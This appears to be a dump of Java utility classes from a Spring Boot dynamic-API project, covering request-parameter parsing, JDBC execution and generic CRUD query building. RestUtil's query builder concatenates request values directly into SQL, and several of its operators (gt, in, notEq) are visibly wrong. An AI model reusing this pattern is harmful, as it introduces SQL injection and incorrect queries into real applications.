Header参数（添加header_前缀避免冲突）\n        Map<String, Object> headerParams = buildHeaderParams(request);\n        if (MapUtil.isNotEmpty(headerParams)) {\n            Map<String, Object> prefixHeaderParams = new HashMap<>();\n            headerParams.forEach((k, v) -> prefixHeaderParams.put(\"header_\" + k.toLowerCase().replace(\"-\", \"_\"), v));\n            allParams.putAll(prefixHeaderParams);\n        }\n\n        // 6. Cookie参数（添加cookie_前缀避免冲突）\n        Map<String, Object> cookieParams = getCookieMap(request);\n        if (MapUtil.isNotEmpty(cookieParams)) {\n            Map<String, Object> prefixCookieParams = new HashMap<>();\n            cookieParams.forEach((k, v) -> prefixCookieParams.put(\"cookie_\" + k.toLowerCase(), v));\n            allParams.putAll(prefixCookieParams);\n        }\n\n        // 7. Session参数\n        Map<String, Object> sessionParams = buildSessionParams(request);\n        if (MapUtil.isNotEmpty(sessionParams)) {\n            allParams.putAll(sessionParams);\n        }\n\n        // 8. 基础信息\n        allParams.put(\"uri\", request.getRequestURI());\n        allParams.put(\"ip\", getIp(request));\n\n        // 统一转换数字类型\n        allParams.replaceAll((k, v) -> convertNumber(v));\n\n        return allParams;\n    }\n\n    /**\n     * 解析所有参数（无路径参数）\n     */\n    public static Map<String, Object> parseAllParams(HttpServletRequest request) {\n        return parseAllParams(request, new HashMap<>());\n    }\n\n    /**\n     * 获取当前请求上下文的所有参数\n     */\n    public static Map<String, Object> parseCurrentRequestAllParams(Map<String, String> pathParams) {\n        return parseAllParams(getHttpServletRequest(), pathParams);\n    }\n\n    /**\n     * 获取当前请求上下文的所有参数（无路径参数）\n     */\n    public static Map<String, Object> parseCurrentRequestAllParams() {\n        return parseCurrentRequestAllParams(new HashMap<>());\n    }\n\n    /**\n     * 手动解析Cookie为Map\n     */\n    private static Map<String, Object> getCookieMap(HttpServletRequest request) {\n        Map<String, Object> cookieMap = new HashMap<>();\n        Cookie[] cookies = request.getCookies();\n\n        if (cookies == null || cookies.length == 0) {\n            return cookieMap;\n        }\n\n        for (Cookie cookie : cookies) {\n            cookieMap.put(cookie.getName(), cookie.getValue());\n        }\n        return cookieMap;\n    }\n\n    /**\n     * 转换Map中所有值为数字类型（如有必要）\n     */\n    private static Map<String, Object> convertNumberMap(Map<String, String> sourceMap) {\n        Map<String, Object> targetMap = new HashMap<>();\n        sourceMap.forEach((k, v) -> targetMap.put(k, convertNumber(v)));\n        return targetMap;\n    }\n\n    // ==================== 原有老方法（标记过时，内部调用新方法） ====================\n\n    /**\n     * 获取当前HTTP请求对象\n     * @deprecated 建议使用更语义化的方法名，后续会移除\n     */\n    @Deprecated\n    public static HttpServletRequest getHttpServletRequest() {\n        return ((ServletRequestAttributes) Objects.requireNonNull(RequestContextHolder.getRequestAttributes())).getRequest();\n    }\n\n    /**\n     * 判断是否为AJAX请求\n     */\n    public static boolean isAjaxRequest(HttpServletRequest request) {\n        String accept = request.getHeader(\"accept\");\n        String xRequestedWith = request.getHeader(\"X-Requested-With\");\n        return ((accept != null && accept.contains(\"application/json\")\n                || (xRequestedWith != null && xRequestedWith.contains(\"XMLHttpRequest\"))));\n    }\n\n    /**\n     * 获取线程内的请求对象\n     * @deprecated 建议使用 getHttpServletRequest()，后续会移除\n     */\n    @Deprecated\n    public static HttpServletRequest getRequest() {\n        return requests.get();\n    }\n\n    /**\n     * 设置线程内的请求对象\n     * @deprecated 内部使用，后续会移除\n     */\n    @Deprecated\n    public static void setRequest(HttpServletRequest request) {\n        requests.set(request);\n    }\n\n    /**\n     * 获取所有参数（老方法，兼容）\n     * @deprecated 建议使用 parseAllParams(HttpServletRequest) 方法\n     */\n    @Deprecated\n    public static Map<String, Object> getAllParameters(HttpServletRequest request) {\n        return parseAllParams(request);\n    }\n\n    /**\n     * 获取表单参数Map\n     */\n    public static Map<String, Object> getParameterMap(HttpServletRequest request) {\n        Map<String, Object> map = new HashMap<>();\n        Enumeration<String> paramNames = request.getParameterNames();\n        while (paramNames.hasMoreElements()) {\n            String paramName = paramNames.nextElement();\n            Object[] paramValues = request.getParameterValues(paramName);\n            if (paramValues.length == 1) {\n                Object paramValue = paramValues[0];\n                if (StrUtil.isNotBlank(String.valueOf(paramValue))) {\n                    map.put(paramName, convertNumber(paramValue));\n                }\n            }\n        }\n        return map;\n    }\n\n    /**\n     * 转换值为数字类型（如有必要）\n     */\n    public static Object convertNumber(Object paramValue) {\n        String valueStr = String.valueOf(paramValue);\n        if (NumberUtil.isInteger(valueStr)) {\n            return Integer.parseInt(valueStr);\n        } else if (NumberUtil.isLong(valueStr)) {\n            return Long.parseLong(valueStr);\n        } else if (NumberUtil.isDouble(valueStr)) {\n            return Double.parseDouble(valueStr);\n        } else {\n            return paramValue;\n        }\n    }\n\n    /**\n     * 读取请求体内容\n     */\n    public static String getBody(ServletRequest request) {\n        try {\n            BufferedReader reader = request.getReader();\n            return IoUtil.read(reader);\n        } catch (IOException var2) {\n            throw new IORuntimeException(var2);\n        }\n    }\n\n    /**\n     * 解析JSON请求体参数\n     */\n    public static Map<String, Object> getHttpJsonParams(HttpServletRequest request) {\n        try {\n            Map<String, Object> params = new HashMap<>();\n            String json = getBody(request);\n            String jsonContent = json;\n\n            if (JSONUtil.isTypeJSON(jsonContent)) {\n                if (JSONUtil.isTypeJSONArray(jsonContent)) {\n                    JSONArray jsonArray = JSONUtil.parseArray(jsonContent);\n                    traverseJsonArray(jsonArray, \"\", params);\n                }\n                if (JSONUtil.isTypeJSONObject(jsonContent)) {\n                    JSONObject jsonObject = JSONUtil.parseObj(jsonContent);\n                    traverseJsonTree(jsonObject, \"\", params);\n                }\n            } else {\n                json = URLDecoder.decode(json, CharsetUtil.UTF_8);\n                params = getUrlParams2(request, json);\n                if (CollectionUtil.isNotEmpty(params)) {\n                    StaticLog.info(\"非JSON格式数据，按URL参数解析：\" + jsonContent);\n                }\n            }\n            return params;\n        } catch (Exception e) {\n            log.error(\"解析JSON参数失败\", e);\n            return Maps.newHashMap();\n        }\n    }\n\n    /**\n     * 将URL参数转换为Map（过时方法）\n     * @deprecated 内部使用，后续会移除\n     */\n    @Deprecated\n    public static Map getUrlParams2(HttpServletRequest request, String param) {\n        StringBuffer url = request.getRequestURL();\n        url.append(\"?\").append(param);\n        Map<String, Object> result = new HashMap<>();\n        MultiValueMap<String, String> urlMvp = UriComponentsBuilder.fromHttpUrl(url.toString()).build().getQueryParams();\n        urlMvp.forEach((key, value) -> {\n            String firstValue = CollectionUtils.isEmpty(value) ? null : value.get(0);\n            result.put(key, convertNumber(firstValue));\n        });\n        return result;\n    }\n\n    /**\n     * 构建Header参数Map\n     */\n    public static Map<String, Object> buildHeaderParams(HttpServletRequest request) {\n        Enumeration<String> headerKeys = request.getHeaderNames();\n        Map<String, Object> result = new HashMap<>();\n        while (headerKeys.hasMoreElements()) {\n            String key = headerKeys.nextElement();\n            Object value = request.getHeader(key);\n            result.put(key, convertNumber(value));\n        }\n        return result;\n    }\n\n    /**\n     * 构建Session参数Map\n     */\n    public static Map<String, Object> buildSessionParams(HttpServletRequest request) {\n        Enumeration<String> keys = request.getSession().getAttributeNames();\n        Map<String, Object> result = new HashMap<>();\n        while (keys.hasMoreElements()) {\n            String key = keys.nextElement();\n            result.put(key, request.getSession().getAttribute(key));\n        }\n        return result;\n    }\n\n    /**\n     * 获取URL查询参数\n     */\n    public static Map<String, Object> getQueryString(HttpServletRequest request) {\n        StringBuffer url = request.getRequestURL();\n        if (StrUtil.isNotBlank(request.getQueryString())) {\n            url.append(\"?\").append(request.getQueryString());\n        }\n        Map<String, Object> result = new HashMap<>();\n        MultiValueMap<String, String> urlMvp = UriComponentsBuilder.fromHttpUrl(url.toString()).build().getQueryParams();\n        urlMvp.forEach((key, value) -> {\n            String firstValue = CollectionUtils.isEmpty(value) ? null : value.get(0);\n            result.put(key, convertNumber(firstValue));\n        });\n        return result;\n    }\n\n    /**\n     * 获取IP地址\n     */\n    public static String getIp(HttpServletRequest request) {\n        String ip = request.getHeader(\"x-forwarded-for\");\n        if (ip != null && ip.length() != 0 && !\"unknown\".equalsIgnoreCase(ip)) {\n            if (ip.indexOf(\",\") != -1) {\n                ip = ip.split(\",\")[0];\n            }\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"Proxy-Client-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"WL-Proxy-Client-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"HTTP_CLIENT_IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"HTTP_X_FORWARDED_FOR\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getHeader(\"X-Real-IP\");\n        }\n        if (ip == null || ip.length() == 0 || \"unknown\".equalsIgnoreCase(ip)) {\n            ip = request.getRemoteAddr();\n        }\n        return ip == null ? \"\" : ip.trim();\n    }\n\n    /**\n     * 遍历JSON对象树，解析为扁平Map\n     */\n    public static void traverseJsonTree(JSONObject jsonObject, String parentKey, Map params) {\n        for (String key : jsonObject.keySet()) {\n            Object object = jsonObject.get(key);\n            if (object instanceof JSONObject) {\n                traverseJsonTree((JSONObject) object, parentKey + \".\" + key, params);\n            } else if (object instanceof JSONArray) {\n                traverseJsonArray((JSONArray) object, parentKey + \".\" + key, params);\n            } else {\n                String longKey = StrUtil.isEmpty(parentKey) ? key : parentKey + \".\" + key;\n                if (Pattern.compile(\".*[0-9].*\").matcher(longKey).matches()) {\n                    params.put(longKey, convertNumber(object));\n                } else {\n                    params.put(key, convertNumber(object));\n                }\n            }\n        }\n    }\n\n    /**\n     * 遍历JSON数组，解析为扁平Map\n     */\n    public static void traverseJsonArray(JSONArray jsonArray, String parentKey, Map params) {\n        for (int i = 0; i < jsonArray.size(); i++) {\n            Object object = jsonArray.get(i);\n            if (object instanceof JSONObject) {\n                traverseJsonTree((JSONObject) object, parentKey + \".\" + i, params);\n            } else if (object instanceof JSONArray) {\n                traverseJsonArray((JSONArray) object, parentKey + \".\" + i, params);\n            } else {\n                params.put(parentKey + \".\" + i, convertNumber(object));\n            }\n        }\n    }\n\n    /**\n     * 转换请求参数为Map（兼容老方法）\n     * @deprecated 建议使用 getParameterMap(HttpServletRequest) 方法\n     */\n    @Deprecated\n    public static Map<String, Object> convertDataMap(HttpServletRequest request) {\n        return getParameterMap(request);\n    }\n\n    /**\n     * 获取单个参数值\n     */\n    public static String getValue(HttpServletRequest request, String paramName) {\n        if (request == null) {\n            return \"\";\n        }\n        String obj = request.getParameter(paramName);\n        return obj == null ? \"\" : obj.trim();\n    }\n\n    /**\n     * 获取整数类型参数值\n     */\n    public static int getIntValue(HttpServletRequest request, String paramName) {\n        int returnVal = 0;\n        String obj = request.getParameter(paramName);\n        if (StrUtil.isNotBlank(obj) && isInteger(obj)) {\n            returnVal = Integer.parseInt(obj);\n        }\n        return returnVal;\n    }\n\n    /**\n     * 判断是否为整数\n     */\n    public static boolean isInteger(String str) {\n        Pattern pattern = Pattern.compile(\"^[-\\\\+]?[\\\\d]*$\");\n        return pattern.matcher(str).matches();\n    }\n\n    /**\n     * 获取多值参数\n     */\n    public static String[] getValues(HttpServletRequest request, String paramName) {\n        String[] value = request.getParameterValues(paramName);\n        return value == null ? new String[]{} : value;\n    }\n\n    /**\n     * 获取多值参数拼接字符串\n     */\n    public static String getValuesString(HttpServletRequest request, String paramName) {\n        return getValuesString(request, paramName, \",\");\n    }\n\n    /**\n     * 获取多值参数拼接字符串（自定义分隔符）\n     */\n    public static String getValuesString(HttpServletRequest request, String paramName, String delims) {\n        StringBuilder temp = new StringBuilder();\n        String[] values = request.getParameterValues(paramName);\n        if (values != null) {\n            for (int i = 0; i < values.length; i++) {\n                if (i > 0) {\n                    temp.append(delims);\n                }\n                temp.append(values[i].trim());\n            }\n        }\n        return temp.toString();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/JUNUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport org.springframework.beans.BeanWrapper;\nimport org.springframework.beans.BeanWrapperImpl;\n\nimport java.awt.*;\nimport java.util.*;\nimport java.util.List;\n\npublic class JUNUtil {\n\n    public static String[] getNullPropertyNames(Object source) {\n        final BeanWrapper src = new BeanWrapperImpl(source);\n        java.beans.PropertyDescriptor[] pds = src.getPropertyDescriptors();\n        Set<String> emptyNames = new HashSet<String>();\n        for (java.beans.PropertyDescriptor pd : pds) {\n            Object srcValue = src.getPropertyValue(pd.getName());\n            if (srcValue == null) {\n                emptyNames.add(pd.getName());\n            }\n        }\n        String[] result = new String[emptyNames.size()];\n        return emptyNames.toArray(result);\n    }\n\n\n//    @ResponseBody\n//    @RequestMapping(value = \"authMenu\", method = RequestMethod.GET)\n//    public List<Map<String, Object>> authMenu(String roleId) {\n//        List<Menu> list = menuService.findMenuByRoleId(roleId);\n//        List<Map<String, Object>> child  = getChild(\"0\",list);\n//        return child;\n//    }\n//\n//    public List<Map<String,Object>> getChild(String pid , List<Menu> allList){\n//        List<Map<String,Object>> childList = new ArrayList<>();//用于保存子节点的list\n//        for(Menu ms : allList){\n//            if(pid.equals(ms.getParentId())){//判断传入的父id是否等于自身的，如果是，就说明自己是子节点\n//                Map<String,Object> map = new HashMap<>();\n//                map.put(\"id\",ms.getId());\n//                map.put(\"pId\", ms.getParentId());\n//                map.put(\"mate\",ms.getName());\n//                map.put(\"hasChildren\",false);\n//                map.put(\"ChildNodes\", new Object[]{});\n//                childList.add(map); //加入子节点\n//            }\n//        }\n//        for(Map<String,Object> map : childList){//遍历子节点，继续递归判断每个子节点是否还含有子节点\n//            List<Map<String,Object>> tList = getChild(String.valueOf(map.get(\"id\"))  , allList);\n//            if(!tList.isEmpty()){\n//                map.put(\"hasChildren\",true);\n//            }\n//            map.put(\"ChildNodes\" , tList);\n//        }\n//        return childList;\n//    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/JdbcUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport com.alibaba.fastjson2.JSONObject;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport lombok.extern.slf4j.Slf4j;\n\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Slf4j\n@Deprecated\npublic class JdbcUtil {\n\n    public static Connection getConnection(ApiDataSource ds) throws Exception {\n        try {\n            Class.forName(ds.getDriver());\n            String password = ds.getPassword();\n            // String password = ds.isEdit_password() ? ds.getPassword() :\n            // DESUtils.decrypt(ds.getPassword());\n            Connection connection = DriverManager.getConnection(ds.getUrl(), ds.getUsername(), password);\n            log.info(\"successfully connected\");\n            return connection;\n        } catch (ClassNotFoundException e) {\n            throw new RuntimeException(\n                    \"Please check whether the jdbc driver jar is missing, if missed copy the jdbc jar file to lib dir. \"\n                            + e.getMessage());\n        }\n    }\n\n\n    public static Connection getConnectionByDBType(ApiDataSource ds) throws SQLException, ClassNotFoundException {\n        String url = ds.getUrl();\n        switch (ds.getType()) {\n            case \"mysql\":\n                Class.forName(\"com.mysql.jdbc.Driver\");\n                break;\n            case \"postgresql\":\n                Class.forName(\"org.postgresql.Driver\");\n                break;\n            case \"hive\":\n                Class.forName(\"org.apache.hive.jdbc.HiveDriver\");\n                break;\n            case \"sqlserver\":\n                Class.forName(\"com.microsoft.sqlserver.jdbc.SQLServerDriver\");\n                break;\n            default:\n                break;\n        }\n\n        Connection connection = DriverManager.getConnection(url, ds.getUsername(), ds.getPassword());\n        log.info(\"获取连接成功\");\n        return connection;\n    }\n\n    public static Result executeSql(int isSelect, ApiDataSource ds, String sql, List<Object> jdbcParamValues,Connection connection) {\n        log.info(\"sql:\\n\" + sql);\n        //Connection connection = null;\n        try {\n\n            //connection = DataSourcePool.init(ds.getName(),ds.getUrl(),ds.getUsername(),ds.getPassword(),ds.getDriver()).getConnection();\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n\n            if (isSelect == 1) {\n                ResultSet rs = statement.executeQuery();\n\n                int columnCount = rs.getMetaData().getColumnCount();\n\n                List<String> columns = new ArrayList<>();\n                for (int i = 1; i <= columnCount; i++) {\n                    String columnName = rs.getMetaData().getColumnLabel(i);\n                    columns.add(columnName);\n                }\n                List<JSONObject> list = new ArrayList<>();\n                while (rs.next()) {\n                    JSONObject jo = new JSONObject();\n                    columns.stream().forEach(t -> {\n                        try {\n                            Object value = rs.getObject(t);\n                            jo.put(t, value);\n                        } catch (SQLException throwables) {\n                            throwables.printStackTrace();\n                        }\n                    });\n                    list.add(jo);\n                }\n                return Result.success(list);\n            } else {\n                int rs = statement.executeUpdate();\n                return Result.success(\"sql修改数据行数： \" + rs);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return Result.fail(e.getMessage());\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/RestUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.date.DateTime;\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.*;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Lists;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.common.utils.IdGenerator15;\nimport io.github.wujun728.db.record.Record;\n//import io.github.wujun728.db.record.interfaces.IRecordHandler;\nimport io.github.wujun728.db.utils.FieldUtils;\nimport org.springframework.util.CollectionUtils;\nimport javax.sql.DataSource;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class RestUtil {\n\n\n    public static void buildRecord(Map<String, Object> parameters, Table table, Record record) {\n        Collection<Column> columns = table.getColumns();\n        for (Column column : columns) {\n            String paramValue = RestUtil.getParamValue(parameters, column.getName());\n            paramValue = RestUtil.getId(paramValue);\n            checkDataFormat(column, paramValue);\n            if (ObjectUtil.isNotEmpty(paramValue)) {//非空值，直接设置\n                record.set(column.getName(), (paramValue));\n            } else {\n                String fieldName = FieldUtils.columnNameToFieldName(column.getName());\n                if (ObjectUtil.isNotEmpty(RestUtil.getDefaultValue(fieldName))) {//设置默认值的字段\n                    record.set(column.getName(), RestUtil.getDefaultValue(fieldName));\n                } else {\n                    if(column.isPk()){\n                        if(column.isAutoIncrement()){\n                            //自增的主键，不自动赋值\n                        }else{\n                            setPkValue(record, column);\n                            StaticLog.warn(\"参数未传值： \" + column.getName());\n                        }\n                    }else{\n                        if (!column.isNullable()){ //非空字段，保存的时候，必填直接返回提示\n                            throw new BusinessException(\"参数[\" + column.getName() + \"]不能为空！\");\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    public static void checkDataFormat(Column column, String val) {\n        if (\"DATE\".equalsIgnoreCase(column.getTypeName()) ||\n                \"datetime\".equalsIgnoreCase(column.getTypeName()) ||\n                \"DATE\".equalsIgnoreCase(column.getTypeName())) {\n            try {\n                DateTime date = DateUtil.parse(val);\n                //log.info(\"是日期类型字符串：[{}]\", val);\n            } catch (Exception e) {\n                //log.info(\"不是日期类型字符串：[{}]\", val);\n                throw new BusinessException(\"参数[\"+ column.getName()+\"]日期格式字符串不合法\");\n            }\n        }\n    }\n\n\n    public static void setPkValue(Record record, Column column) {\n        if (\"VARCHAR\".equalsIgnoreCase(column.getTypeName()) ||\n                \"TEXT\".equalsIgnoreCase(column.getTypeName()) ||\n                \"LONGTEXT\".equalsIgnoreCase(column.getTypeName()) ||\n                \"CLOB\".equalsIgnoreCase(column.getTypeName())) {\n            String idStr = IdGenerator15.generateIdStr();\n            if (column.getSize() > idStr.length()) {\n                record.set(column.getName(), idStr);\n            } else {\n                int start = idStr.length() - Integer.valueOf((int) column.getSize());\n                record.set(column.getName(), idStr.substring(start, idStr.length()));\n            }\n        } else if (\"DATE\".equalsIgnoreCase(column.getTypeName()) ||\n                \"datetime\".equalsIgnoreCase(column.getTypeName()) ||\n                \"DATE\".equalsIgnoreCase(column.getTypeName())) {\n            record.set(column.getName(), DateUtil.now());\n        } else if (\"bigint\".equalsIgnoreCase(column.getTypeName()) ||\n                \"int\".equalsIgnoreCase(column.getTypeName()) ||\n                \"float\".equalsIgnoreCase(column.getTypeName()) ||\n                \"decimal\".equalsIgnoreCase(column.getTypeName()) ||\n                \"bit\".equalsIgnoreCase(column.getTypeName()) ||\n                \"integer\".equalsIgnoreCase(column.getTypeName()) ||\n                \"tinyint\".equalsIgnoreCase(column.getTypeName())) {\n\n            long idStr = IdGenerator15.generateId();\n            long currentSeconds = DateUtil.currentSeconds();\n            if (column.getSize() >= String.valueOf(idStr).length()) {//十六位，雪花ID，毫秒级别\n                record.set(column.getName(), idStr);\n            } else if (column.getSize() >= String.valueOf(currentSeconds).length()) { //十位，时间戳，秒级别\n                record.set(column.getName(), currentSeconds);\n            } else {\n                int size = Integer.valueOf((int) column.getSize());\n                String numberkey = RandomUtil.randomNumbers(size);  //随机数，字段长度的随机数字，字段不能设置太短\n                record.set(column.getName(), numberkey);\n            }\n        }\n    }\n\n\n    public static String getTablePrimaryKes(Table table) {\n        Set<String> pks = table.getPkNames();\n        if(CollectionUtils.isEmpty(pks)){\n            throw new BusinessException(\"表\"+table.getTableName()+\"必须含有主键，无主键无法使用通用删除接口，请使用自定义SQL删除数据；\");\n        }\n        String primaryKey = StrUtil.join(\",\",pks);\n        return primaryKey;\n    }\n\n    public static void fillRecord(Record record, String tableName, Boolean isSave) {\n        /*List<Class> allSuperclasses = ClassUtil.getAllClassByInterface(IRecordHandler.class);\n        for (Class clazz : allSuperclasses) {\n            try {\n                Object obj = clazz.newInstance();\n                String tablename = ReflectUtil.invoke(obj,\"tableName\");\n                if(tablename.equalsIgnoreCase(tablename) || tablename.equalsIgnoreCase(\"all\")){\n                    if(isSave){\n                        ReflectUtil.invoke(obj,\"insertFill\",new Object[]{record});\n                    }else{\n                        ReflectUtil.invoke(obj,\"updateFill\",new Object[]{record});\n                    }\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }*/\n    }\n\n    public static Record getTableRecord(DataSource ds, String tableName, Map params){\n        Record record = new Record();\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        table.getColumns().forEach(c->{\n            record.set(c.getName(), MapUtil.getStr(params,c.getName()));\n        });\n        return record;\n    }\n\n    public static String getPkNames(DataSource ds, String tableName){\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        return String.join(\",\",table.getPkNames());\n    }\n\n\n    public static Object getDefaultValue(String fieldname){\n        if(\"createTime\".equals(fieldname)){\n            return DateUtil.now();\n        }\n        if(\"updateTime\".equals(fieldname)){\n            return DateUtil.now();\n        }\n        if(\"creator\".equals(fieldname)){\n            return \"admin\";\n        }\n        if(\"createUser\".equals(fieldname)){\n            return \"admin\";\n        }\n        if(\"updateUser\".equals(fieldname)){\n            return \"admin\";\n        }\n        return null;\n    }\n\n    public static String getId(String val) {\n        //printMsg(val);\n        if(\"{_objectId}\".equalsIgnoreCase(val)){\n            return IdUtil.objectId();\n        }\n        else if(\"{_simpleUUID}\".equalsIgnoreCase(val)){\n            return IdUtil.simpleUUID();\n        }\n        else if(\"{_snowflakeId}\".equalsIgnoreCase(val)){\n            return IdUtil.getSnowflakeNextIdStr();\n        }\n        else if(\"{_nanoId}\".equalsIgnoreCase(val)){\n            return IdUtil.nanoId();\n        }else\n        if(\"{_id2}\".equalsIgnoreCase(val)){\n            return IdUtil.objectId();\n        }\n        else if(\"{_id3}\".equalsIgnoreCase(val)){\n            return IdUtil.simpleUUID();\n        }\n        else if(\"{_id1}\".equalsIgnoreCase(val)){\n            return IdUtil.getSnowflakeNextIdStr();\n        }\n        else if(\"{_id4}\".equalsIgnoreCase(val)){\n            return IdUtil.nanoId();\n        }else\n        {\n            return val;\n        }\n    }\n    public static String getParamValue(Map<String, Object> parameters, String paramName) {\n        String val = MapUtil.getStr(parameters,paramName);\n        if(ObjectUtil.isEmpty(val)){\n            String fieldName = RestUtil.columnNameToFieldName(paramName);\n            val = MapUtil.getStr(parameters,fieldName);\n        }\n        return val;\n    }\n\n    public static List getPrimaryKeyArgs(Map<String, Object> parameters, Table table) {\n        Set<String> pks = table.getPkNames();\n        List args = Lists.newArrayList();\n        for(int i = 0; i < pks.size(); i++ ){\n            String key = CollectionUtil.get(pks,i);\n            String val1 = MapUtil.getStr(parameters,key);\n            args.add(val1);\n            if(StrUtil.isEmpty(val1)){\n                throw new BusinessException(\"主键\"+key+\"必须含有入参，非空；(有多列，均使用英文逗号分隔)\");\n            }\n        }\n        return args;\n    }\n\n    public static Boolean isExistsParamname(Map<String, Object> parameters, String paramName) {\n        String fieldName = RestUtil.columnNameToFieldName(paramName);\n        for(String key :  parameters.keySet()){\n            if(key.contains(paramName) || key.contains(fieldName)){\n                return true;\n            }\n        }\n        return false;\n    }\n\n    public static String getQueryCondition(Map<String, Object> parameters, Table table) {\n        StringBuffer sqlbuilder = new StringBuffer();\n        Collection<Column> columns = table.getColumns();\n        for(String key : parameters.keySet()){\n            if(key.startsWith(\"header.\") || key.startsWith(\"session.\") || key.startsWith(\"cookies.\")|| key.startsWith(\"root.\")){\n                continue;\n            }\n            for (Column column : columns) {\n                String fieldName = RestUtil.columnNameToFieldName(column.getName());\n                // fielc.like=abc    field=abc    content-type=abc\n                if(key.startsWith(column.getName()) || key.startsWith(fieldName) || key.contains(fieldName) || key.contains(column.getName())){\n                    if(key.contains(\".\")){\n                        String keys[] = key.split(\"\\\\.\");\n                        String field = keys[0];\n                        String ex = keys[1];\n                        String val = RestUtil.getParamValue(parameters, key);\n                        sqlbuilder.append(\" AND\" + join(ex,column.getName(),val));\n                    }else{\n                        if(key.equalsIgnoreCase(fieldName) || key.equalsIgnoreCase(column.getName())){\n                            String val = RestUtil.getParamValue(parameters, key);\n                            sqlbuilder.append(\" AND\" + join(\"eq\",column.getName(),val));\n                        }\n                    }\n                }\n            }\n        }\n        return sqlbuilder.toString();\n    }\n\n    private static String join(String ex,String columnName,String value){\n        StringBuffer sql = new StringBuffer();\n        sql.append(\" \");\n        // 设置查询方式\n        if (\"eq\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" = '\"+value+\"'\");\n        }else if (\"like\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+value+\"%'\");\n        }else if (\"between\".equalsIgnoreCase(ex)){\n//            sql.append((fieldName, ((Object[]) value)[0], ((Object[]) value)[1]);\n        }else if (\"le\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" <= \"+ value);\n        }else if (\"lt\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" < \"+ value);\n        }else if (\"ge\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" >= \"+ value);\n        }else if (\"gt\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" >= \"+ value);\n        }else if (\"notEq\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"leftLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+ value+\"'\");\n        }else if (\"rightLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '\"+ value+\"%'\");\n        }else if (\"allLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" like '%\"+ value+\"%'\");\n        }else if (\"notLeftLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"notRightLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '\"+ value+\"%'\");\n        }else if (\"notAllLike\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" not like '%\"+ value+\"%'\");\n        }else if (\"isNull\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" is null \");\n        }else if (\"notNull\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" is not null \");\n        }else if (\"in\".equalsIgnoreCase(ex)){\n            sql.append(columnName+\" in ()\"+ String.join(\",\",value.split(\",\"))+\" )\");\n        }else if (\"notIn\".equalsIgnoreCase(ex)) {\n            sql.append(columnName+\" not in ( \"+ String.join(\",\",value.split(\",\"))+\" )\");\n        }else {\n            sql.append(columnName + \" = \" + value);\n        }\n        return sql.toString();\n    }\n\n    public static String columnNameToFieldName(String name){\n        return underlineToCamel(name);\n    }\n\n    public static String underlineToCamel(String name){\n        boolean allUpper = true;\n        boolean allLower = true;\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if(Character.isLowerCase(c)){\n                allUpper = false;\n            }else if (Character.isUpperCase(c)){\n                allLower = false;\n            }\n        }\n\n        if (allUpper){\n            name = name.toLowerCase();\n            allLower = true;\n        }\n        if (!allLower){\n            return name;\n        }\n\n        StringBuilder sb = new StringBuilder(name.length());\n        for (int i = 0; i < name.length(); i++) {\n            char c = name.charAt(i);\n            if ('_' == c) {\n                if (++i < name.length()){\n                    sb.append(Character.toUpperCase(name.charAt(i)));\n                }\n            }else {\n                sb.append(c);\n            }\n        }\n        return sb.toString();\n    }\n\n\n}\n"
  },
  {
